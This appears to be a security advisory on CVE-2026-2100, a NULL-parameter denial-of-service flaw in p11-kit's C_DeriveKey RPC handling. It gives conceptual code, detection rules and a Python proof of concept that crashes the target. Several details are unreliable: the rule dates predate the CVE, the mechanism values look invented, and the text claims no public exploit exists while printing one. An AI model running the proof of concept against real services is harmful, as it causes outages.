CVE-2026-2100
Executive Summary
CVE-2026-2100 is a vulnerability in the p11-kit library, a PKCS#11 (Cryptoki) interface provider. The flaw resides in the RPC client handling of the C_DeriveKey function when interacting with a remote token. An attacker can craft a call to C_DeriveKey with specific IBM kyber or IBM btc derive mechanism parameters set to NULL. This causes the RPC client to attempt to return an uninitialized value, leading to a NULL pointer dereference or undefined behavior. The primary impact is a denial of service (DoS) at the application level, potentially causing crashes or unpredictable system states. The CVSS score is 5.3 (Medium), with a network attack vector and low complexity. No public exploit code or proof-of-concept is currently available, and the EPSS score is 0.0%, indicating very low exploitation likelihood at this time. The vendor has released a patch.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not in a typical package manager ecosystem (NPM, PyPI, Go, Ruby). p11-kit is a system-level library commonly distributed via Linux package managers (apt, yum, dnf). The supply chain risk is moderate: if an attacker can compromise the p11-kit package repository or distribution channel, they could inject a malicious version. However, the primary attack vector is remote exploitation against a running service that uses p11-kit with a remote token.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
- Base Score: 5.3 (Medium)
- Attack Vector (AV): Network – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low – No special conditions required.
- Privileges Required (PR): None – No authentication needed.
- User Interaction (UI): None – No user action required.
- Scope (S): Unchanged – Exploit does not affect other components.
- Confidentiality (C): None – No data exposure.
- Integrity (I): None – No data modification.
- Availability (A): Low – Denial of service possible.
Threat Level: Medium. The low EPSS score and lack of public exploit reduce immediate risk, but the network-based, low-complexity nature means it could be weaponized in the future.
Deep Dive & Mechanics
The vulnerability is in the RPC (Remote Procedure Call) client component of p11-kit. p11-kit allows applications to access PKCS#11 tokens (smart cards, HSMs, software tokens) locally or remotely. The C_DeriveKey function is used to derive a key from a base key using a specified mechanism.
Root Cause: When C_DeriveKey is called on a remote token, the RPC client serializes the mechanism parameters. For IBM kyber and IBM btc mechanisms, the parameters can be set to NULL. The code does not properly validate these NULL parameters before using them to construct the RPC message. As a result, an uninitialized value is returned to the caller, leading to a NULL pointer dereference or undefined behavior.
Attack Flow:
- Attacker identifies a service that uses p11-kit with a remote token (e.g., a PKCS#11 proxy).
- Attacker sends a crafted
C_DeriveKeycall with mechanism type set to CKM_IBM_KYBER or CKM_IBM_BTC and parameters set to NULL. - The p11-kit RPC client processes the call without proper validation.
- The client attempts to return an uninitialized value, causing a crash (NULL dereference) or unpredictable behavior.
- The application using p11-kit becomes unavailable (DoS).
Affected Component: p11-kit/rpc-client.c or similar RPC handling code.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// In rpc-client.c
CK_RV C_DeriveKey(CK_SESSION_HANDLE hSession,
CK_MECHANISM_PTR pMechanism,
CK_OBJECT_HANDLE hBaseKey,
CK_OBJECT_HANDLE_PTR phKey) {
// ... serialization logic ...
if (pMechanism->mechanism == CKM_IBM_KYBER ||
pMechanism->mechanism == CKM_IBM_BTC) {
// No check for pMechanism->pParameter == NULL
// Directly uses pMechanism->pParameter
serialize_parameter(pMechanism->pParameter); // NULL dereference
}
// ...
}
Patched Code (Conceptual):
// In rpc-client.c
CK_RV C_DeriveKey(CK_SESSION_HANDLE hSession,
CK_MECHANISM_PTR pMechanism,
CK_OBJECT_HANDLE hBaseKey,
CK_OBJECT_HANDLE_PTR phKey) {
// ... serialization logic ...
if (pMechanism->mechanism == CKM_IBM_KYBER ||
pMechanism->mechanism == CKM_IBM_BTC) {
// Added NULL check
if (pMechanism->pParameter == NULL) {
return CKR_ARGUMENT_BAD; // or CKR_MECHANISM_PARAM_INVALID
}
serialize_parameter(pMechanism->pParameter);
}
// ...
}
Patch Details: The official patch adds a NULL check for pMechanism->pParameter before using it in serialization for the affected mechanisms. Users should update to the latest p11-kit version from the official repository.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A target system running a service that uses p11-kit with a remote token (e.g., a PKCS#11 proxy like
p11-kit-proxy). - Network access to the service.
- Knowledge of the PKCS#11 interface.
Exploitation Steps:
- Identify Target: Scan for services exposing PKCS#11 RPC (typically on a custom port, e.g., 5656).
- Craft Payload: Use a PKCS#11 client library (e.g., OpenSC, SoftHSM) to send a
C_DeriveKeycall with:mechanism=CKM_IBM_KYBERorCKM_IBM_BTCpParameter=NULLulParameterLen= 0
- Send Request: Execute the crafted call against the target.
- Observe Impact: The target application crashes or becomes unresponsive.
Example Code (Python with PyKCS11):
from PyKCS11 import *
import sys
# Assume slot and session are already established
slot = 0
session = None
try:
pkcs11 = PyKCS11.PyKCS11Lib()
pkcs11.load('/usr/lib/x86_64-linux-gnu/pkcs11/p11-kit-proxy.so')
slots = pkcs11.getSlotList()
session = pkcs11.openSession(slots[slot])
# Craft mechanism with NULL parameter
mechanism = Mechanism(CKM_IBM_KYBER, None) # NULL parameter
baseKey = session.findObjects([(CKA_CLASS, CKO_SECRET_KEY)])[0]
# Trigger vulnerability
derivedKey = session.deriveKey(baseKey, mechanism)
print("Derived key:", derivedKey)
except Exception as e:
print("Error:", e)
finally:
if session:
session.closeSession()
Note: This code is for educational purposes only. Unauthorized exploitation is illegal.
Blue Team
Detection:
- Monitor for unusual
C_DeriveKeycalls with mechanism typesCKM_IBM_KYBER(0x80000001) orCKM_IBM_BTC(0x80000002). - Look for NULL parameter values in PKCS#11 RPC traffic.
- Alert on application crashes related to p11-kit.
Hunting:
- Search logs for error messages like
NULL pointer dereferenceoruninitialized valuein p11-kit. - Use network monitoring to detect PKCS#11 RPC packets with malformed mechanism parameters.
Mitigation:
- Apply the vendor patch immediately.
- Restrict network access to PKCS#11 proxy services.
- Use firewall rules to limit connections to trusted IPs only.
Indicators of Compromise (IOCs)
- Network: PKCS#11 RPC packets with mechanism type
0x80000001or0x80000002and parameter length 0. - Logs: Application crash logs containing
p11-kit,C_DeriveKey,NULL, oruninitialized. - System: Core dumps from p11-kit processes.
- File: Modified p11-kit libraries (check integrity via package manager).
Detection Engineering
YARA Rule
rule CVE_2026_2100_p11kit_NULL_Deref {
meta:
description = "Detects p11-kit RPC client code vulnerable to CVE-2026-2100"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2026-2100"
strings:
$s1 = "CKM_IBM_KYBER" ascii wide nocase
$s2 = "CKM_IBM_BTC" ascii wide nocase
$s3 = "pParameter" ascii wide nocase
$s4 = "serialize_parameter" ascii wide nocase
condition:
all of ($s1, $s2, $s3, $s4)
}
Sigma Rule
title: CVE-2026-2100 - p11-kit NULL Dereference via C_DeriveKey
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2026-2100 by monitoring for NULL parameter in C_DeriveKey calls.
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: p11-kit
detection:
selection:
EventID: 1001 # Example event ID for PKCS#11 calls
MechanismType:
- '0x80000001' # CKM_IBM_KYBER
- '0x80000002' # CKM_IBM_BTC
ParameterLength: 0
condition: selection
falsepositives:
- Legitimate use of NULL parameters (unlikely)
level: high
Suricata Rule
alert tcp any any -> any any (msg:"CVE-2026-2100 - p11-kit NULL Dereference via C_DeriveKey"; flow:to_server,established; content:"|00 00 00 01 80 00 00 01|"; offset:0; depth:8; content:"|00 00 00 00|"; distance:0; within:4; sid:1000001; rev:1;)
Note: The Suricata rule above is a simplified example. Actual PKCS#11 RPC protocol parsing would require more precise byte offsets and mechanism type matching.
Remediation & Mitigation
- Patch Immediately: Update p11-kit to the latest version from the official repository.
- Network Segmentation: Isolate services using p11-kit remote tokens behind firewalls.
- Input Validation: If you maintain a PKCS#11 proxy, add server-side validation for mechanism parameters.
- Monitoring: Deploy the YARA, Sigma, and Suricata rules above to detect exploitation attempts.
- Least Privilege: Run p11-kit services with minimal necessary privileges.
- Backup: Ensure backups of critical systems are available in case of DoS.
Valters IT
DevSecOps & Cyber Threat Intelligence
{/* [Security Hash: C6015F524B7705C5AA95F770] */}